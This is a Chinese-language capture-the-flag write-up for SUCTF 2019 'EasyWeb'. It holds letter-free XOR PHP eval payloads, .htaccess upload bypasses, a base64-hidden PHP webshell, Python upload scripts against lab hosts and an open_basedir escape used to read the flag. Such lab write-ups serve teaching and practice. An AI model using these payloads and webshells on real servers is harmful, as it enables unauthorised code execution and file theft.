## SUCTF 2019]EasyWeb
考点:
- 无数字字母shell
- 利用.htaccess上传文件
- 绕过open_basedir
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php function get_the_flag(){ $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } }
$hhh = @$_GET['_'];
if (!$hhh){ highlight_file(__FILE__); }
if(strlen($hhh)>18){ die('One inch long, one inch strong!'); }
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!');
$character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!");
eval($hhh); ?>
|
审计结果
下面是无数字、字母、参数的rce
传参
1 2 3 4 5 6 7 8 9 10 11 12
| $a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff); \\assert $b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b; \\$b = $_POST $a($c[1121]);
此方法分为两种一种GET型的一种POST型的 下面是POST ?_=$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;$a($c[1121]); 然后post:1121=phpinfo(); 下面是get方式 ?_=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();
|
上面这个是使用的异或手段的,然后我们还可以是利用php的经典特性
1
| Ascii码大于 0x7F 的字符都会被当作字符串,而和 0xFF 异或相当于取反,可以绕过被过滤的取反符号。
|
用下面是脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php $l = ""; $r = ""; $argv = str_split("_GET"); for($i=0;$i<count($argv);$i++){ for($j=0;$j<255;$j++) { $k = chr($j)^chr(255); if($k == $argv[$i]){ if($j<16){ $l .= "%ff"; $r .= "%0" . dechex($j); continue; } $l .= "%ff"; $r .= "%" . dechex($j); } }} echo "\{$l`$r\}";
?>
|
执行
1
| 得到的 -- \{%ff%ff%ff%ff`%a0%b8%ba%ab\} ==get
|
1 2 3 4
| 这里值得注意的是${_GET}{%A0}就等于$_GET[%A0],%A0是一个字符虽然没有被引 号引起来但是php也不会将他看出是变量, 这就是为什么&_GET[cmd]=&_GET["cmd"] 了。 还有一个特性是$a=phpinfo 如果执行$a() 就相当于执行了phpinfo()
|
payload
1
| ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
|
我们可以执行得到phpinfo
然后获取flag
但是其实这是一个非预期解,真正的解法是利用.htaccess文件上传的方法
1 2 3 4
| 我们对上面的代码分析可以知道,我们是能够上传文件的,然后在调用get_the_flag 的方法,这个样的得到flag的方式才是真正的预期解。 但是问题来了,是哪个传入口在哪里,我们要上传什么文件。上面的代码解析是用来 解析图片的的格式的,我们要怎么才能上传是最大的问题了。
|
第一上传什么文件
我们先调用一下这个getflag法人方法
1
| ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
|
一片空白什么也没有
不要慌,其实这是因为我们触发的是php文件上传的后端代码。
解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 对于需要绕过的点主要有php问价后缀的绕过,这个就限制了我们不能上传php文件 ,不能上传php文件我们就没有办法进行php解析。 方法: 对于该网站是一个apache服务器,所以可以上传.htaccess文件。 对于.htaccess文件的详细解析前面的文件上传里面有总结。 主要利用的就是.htaccess文件可以直接被php解析并执行。 二:绕过<? 方法: 我们直接使用<%来进行绕过。因为php = 7.2所以不能用<script> 三:绕过文件头的检查,绕过exif_imagetype()函数 方法: 使用\x00\x00\x8a\x39\x8a\x39绕过 使用
绕过
|
明确上传文件和绕过的检查方法以后我们开始写.htaccess文件
写法1
1 2 3 4
|
AddType application/x-httpd-php .pxp php_value auto_append_file "php://filter/convert.base64-decode/resource=1121.pxp"
|
写法2
1 2 3
| \x00\x00\x8a\x39\x8a\x39 AddType application/x-httpd-php .ss php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_837ec5754f503cfaaee0929fd48974e7/1121.txt"
|
解析
1 2 3 4 5 6
| AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_48cd8b43081896fbd0931d204f947663/shell.txt"
成功getshell,所以这也就是为什么会出现两次shell.txt内容的原因,第一次是 没有经过base64解密的,第二次是经过解密并且转化为php了的。
|
写完配置文件之后我们编写要上传的木马文件
1 2
| \x00\x00\x8a\x39\x8a\x39 <?php eval($_GET['cmd']);?>
|
同样需要我们绕过文件头的验证函数
下面是上传文件—python脚本能力太差不会写
下面给出三个
来源
分步上传1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import requests xbmhtaccess=b""" #define width 1 #define height 1 AddType application/x-httpd-php .qiu php_value auto_append_file "php: """
### 或者xbmhtaccess=b"""\x00\x00\x85\x48\x85\x18
url="http://3f165c30-20ac-4c51-8d4a-742208486edc.node1.buuoj.cn/?_=$%7B%86%9E%9C%8D%5E%d9%d9%d9%d9%7D%7B%d9%7D();&%d9=get_the_flag"
files={ 'file':('.htaccess',xbmhtaccess,'image/png') } r=requests.post(url,files=files) print r.text
|
分步上传2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import requests import base64 url="http://27599faf-aa11-40af-82aa-79ff4bc28fe5.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag" htaccess=b"""\x00\x00\x85\x48\x85\x18 AddType application/x-httpd-php .test php_value auto_append_file "php:
"""
shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>") #aa为了满足base64算法凑足八个字节
#first_upload ---- to upload .htaccess
files1={ 'file':('.htaccess',htaccess,'image/jpeg') } r1=requests.post(url=url,files=files1) print (r1.text)
#second_upload ---- to upload .shell # files2={ 'file':('1.test',shell) } r1=requests.post(url,files=files2) print (r1.text)
|
一步上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import requests import hashlib import base64
url ="http://a72f9a31-9b77-43e5-b2c1-a31861d4c18c.node3.buuoj.cn/"
padding = "?_=${%f8%f8%f8%f8^%a7%bf%bd%ac}{%f8}();&%f8=get_the_flag"
myip=requests.get("http://ifconfig.me").text
ip_md5 = hashlib.md5(myip.encode()).hexdigest()
userdir="upload/tmp_"+ip_md5+"/"
htaccess = b"""\x00\x00\x8a\x39\x8a\x39 AddType application/x-httpd-php .cc php_value auto_append_file "php: """
shaw = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['cmd']);?>")
files =[('file',('.htaccess',htaccess,'image/jpeg'))]
res = requests.post(url=url+padding,files=files) files = [('file',('shaw.cc',shaw,'image/jpeg'))] res = requests.post(url=url+padding,files=files) print("the path is:"+url+res.text)
|
上传结果
测试
连马
执行命令
发现有disable_functions
看看终端
报错127
那就直接蚁剑插件
tmd不出所料,我的蚁剑还是不能用。
其实这里一点自己犯了个错误,就是蚁剑用的windows系统的,要使用插件的话,是需要我们使用linux系统的。
查看phpinfo
发现有open_basedir方法的限制,我们只能打开两个目录
对于上面的绕过open_basedir方法我们可以参考p牛的文章
payload
1 2 3 4
| 列目录 ?cmd=mkdir('rot');chdir('rot');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(glob('*')); 读flag ?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));
|